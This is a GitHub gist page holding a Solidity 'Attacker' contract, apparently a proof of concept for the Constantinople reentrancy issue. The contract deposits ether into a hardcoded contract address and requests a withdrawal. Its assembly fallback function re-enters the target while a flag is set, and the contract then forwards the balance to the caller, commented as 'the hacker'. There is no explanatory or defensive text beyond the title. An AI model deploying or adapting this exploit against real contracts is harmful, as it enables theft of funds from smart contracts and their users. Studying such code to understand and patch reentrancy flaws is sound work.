Skip to content

Instantly share code, notes, and snippets.

@k06a
Created January 16, 2019 06:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save k06a/3b89a97f3bbe145dcb00c7eabd8979f4 to your computer and use it in GitHub Desktop.
Save k06a/3b89a97f3bbe145dcb00c7eabd8979f4 to your computer and use it in GitHub Desktop.
Constantinople under attack 2
pragma solidity ^0.5.0;
contract Attacker {
address payable constant public token = 0x07d67Cb7736c9812277f6d1921fa872bff9Ea160;
uint flag;
function attack() public payable {
require(msg.value > 0);
// Deposit
(bool ret1,) = token.call.value(msg.value)("");
require(ret1);
// Withdrawal request
flag = 0;
flag = 1;
(bool ret2,) = token.call.value(0)("");
require(ret2);
// Forwarding funds to the hacker
msg.sender.transfer(address(this).balance);
}
function () external payable {
// Rewritten in ASM to optimize gas
assembly {
if eq(flag_slot, 1) {
sstore(flag_slot, 2)
let r := call(gas, 0x07d67Cb7736c9812277f6d1921fa872bff9Ea160, 0, 0, 0, 0, 0)
}
}
//
// if (flag == 1) {
// flag = 2;
// token.call.value(0)("");
// }
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment